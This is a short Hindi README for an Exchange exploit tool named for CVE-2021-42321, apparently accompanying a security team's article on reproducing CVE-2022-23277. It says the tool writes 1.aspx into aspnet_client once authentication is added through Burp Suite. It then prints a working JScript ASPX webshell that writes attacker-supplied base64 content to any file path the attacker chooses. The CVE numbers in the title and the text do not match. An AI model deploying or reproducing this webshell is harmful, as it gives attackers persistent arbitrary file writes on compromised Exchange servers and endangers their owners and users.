exch_CVE-2021-42321

यह लेख 7bits सुरक्षा टीम के लेख "DotNet सुरक्षा - CVE-2022-23277 भेद्यता पुनरुत्पादन" में शामिल उपकरण है

प्रमाणीकरण भाग burpsuite के माध्यम से मैन्युअल रूप से जोड़ा जाना चाहिए, सफलता के बाद aspnet_client में 1.aspx लिखा जाएगा।

वेबशेल:

<%@ Page Language="JScript" Debug="true"%><%@Import Namespace="System.IO"%><%File.WriteAllBytes(Request["b"], Convert.FromBase64String(Request["a"]));%>

उपयोग विवरण हमारे लेख में देखा जा सकता है

हमारे सार्वजनिक खाते - Zbits2022 को फॉलो करने के लिए स्वागत है